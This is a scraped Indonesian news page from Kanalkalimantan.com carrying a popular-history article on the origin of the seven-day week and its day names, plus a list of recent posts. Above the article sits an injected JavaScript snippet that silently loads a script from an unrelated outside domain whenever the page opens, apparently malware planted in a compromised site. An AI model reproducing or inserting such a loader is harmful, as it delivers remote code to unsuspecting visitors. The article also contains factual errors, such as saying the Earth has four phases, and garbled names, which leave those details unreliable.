(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kanalpedia

Kasih Tahu Nggak Ya…. Sejak Kapan Seminggu Ditetapkan Terdiri dari 7 Hari?


KANALKALIMANTAN.COM– Manusia membutuhkan cara untuk menentukan waktu atau membedakan musim. Berkat semangat observasi itu, manusia menemukan kalender.

Seperti yang kita ketahui, Bulan berputar mengelilingi Bumi kira-kira selama 28 hari. Selama itu pula, Bumi mengalami 4 fase, yaitu bulan baru, bulan sabit, bulan purnama dan bulan sabit lagi. Dari 28 hari dibagi menurut 4 fase ini, maka jadilah satu periode yang terdiri dari 7 hari. Kita menyebutnya satu minggu.

Dikutip dari tahukahkamu.org, orang Babilonia (sekitar 1.000 tahun sebelum Masehi) adalah yang pertama kali menerapkan pembagian tersebut dalam kehidupan sehari-hari. Kemudian, orang Hebron menambahkan simbol agama.

Mereka mengutip teks Injil yang menyatakan bahwa Tuhan menciptakan dunia selama enam hari dan beristirahat di hari ketujuh. Hari terakhir ini disebut Sabbath dalam tradsi Yahudi.

Di Roma, pada kekaisaran Augustus, satu minggu yang kita kenal sekarang benar-benar diterapkan. Setiap hari (atau “dies” dalam bahasa Latin) diberi nama dewa yang berbeda. Luna (Senin), Mars (Selasa), Merkurius (Rabu), Jupiter (Kamis), Venus (Jumat), Saturnus (Sabtu), dan Solis (Sunday dalam bahasa Inggris).

Pada tahun 393, penganut agama Kristiani mengubah hari Solis menjadi ‘Domingo’ atau dies Dominicus, atau ‘hari Penguasa’.

Ada juga sejarahnya pada waktu itu, satu-satunya pembagian waktu adalah bulan dan ada terlalu banyak hari dalam satu bulan untuk diberi nama sendiri-sendiri. Tetapi ketika manusia mulai membangun kota-kota, mereka ingin mempunyai hari istimewa untuk berdagang, yakni suatu hari pasar.

Kadang-kadang hari-hari pasar ini ditetapkan setiap hari kesepuluh dan kadang-kadang setiap hari ketujuh atau setiap hari kelima orang-orang Babilonia memutuskan hari pasar harus jatuh pada hari ketujuh. Pada hari ini mereka tidak bekerja, tetapi bertemu untuk berdagang dan mengadakan upacara-upacara keagamaan.

Bangsa Yahudi mengikuti contoh mereka, tetapi mengkhususkan hari ketujuh untuk keperluan keagamaan. Dengan demikian hari minggu pun muncul. Hari itu adalah hari antara hari-hari pasar. Bangsa Yahudi memberi nama untuk masing-masing hari dari ketujuh hari itu, tetapi sebenarnya itu adalah hitungan setelah hari Sabat (yaitu hari Sabtu). Misalnya, hari Rabu dinamakan hari keempat (empat hari setelah hari Sabtu).

Ketika Bangsa Mesir menggunakan minggu yang terdiri dari tujuh hari mereka menamakan hari-hari itu menurut nama kelima planet, matahari dan bulan. Bangsa Romawi menggunakan nama-nama Mesir untuk hari-hari mereka dalam seminggu: hari Matahari, hari Bulan, hari planet Mars, hari planet Merkurius, hari planet Yupiter, hari planet Venus, dan hari planet Saturnus.

Kita memperoleh nama-nama hari bukan dari Bangsa Romawi tetapi dari Bangsa Anglo-Saxon, yang menamai sebagian besar dari hari-hari menurut nama dewa-dewa mereka, yang kurang lebih sama dengan dewa-dewa Bangsa Romawi, yaitu:
1) Hari Matahari menjadi ‘Sunnandaeg’, atau Sunday (Minggu).
2) Hari Bulan dinamakan ‘Monandaeg’, atau Monday (Senin).
3) Hari Mars menjadi hari Tiw,yaitu dewa perang mereka. Ini menjadi ‘Tiwesdaeg’, atau Tuesday (Selasa).
4) Bukannya nama Merkurius, nama Dewa Woden diberikan menjadi Wednesday (Rabu).
5) Hari Romawi Yupiter, dewa guntur, menjadi hari guntur Dewa Thor, dan ini menjadi Thursday (Kamis).
6) Hari berikutnya dinamakan Frigg, istri Dewa Odin, dan oleh karena itu kita mempunyai Friday (Jumat).
7) Hari Saturnus menjadi ‘Saeterbsdaeg’, terjemahan dari bahasa Romawi, dan kemudian menjadi Saturday (Sabtu).
Satu hari, biasanya dihitung sebagai jarak antara terbitnya matahari dan terbenamnya matahari. Bangasa Romawi menghitungnya dari tengah malam sampai tengah malam, dan kebanyakan bangsa-bangsa modern menggunakan metode ini. (Kanalkalimantan.com/tahukahkamu.org)

Editor : Cell

 

 

 

 


Al Ghifari

Recent Posts

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

27 menit ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

34 menit ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

2 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

3 jam ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

16 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

18 jam ago

This website uses cookies.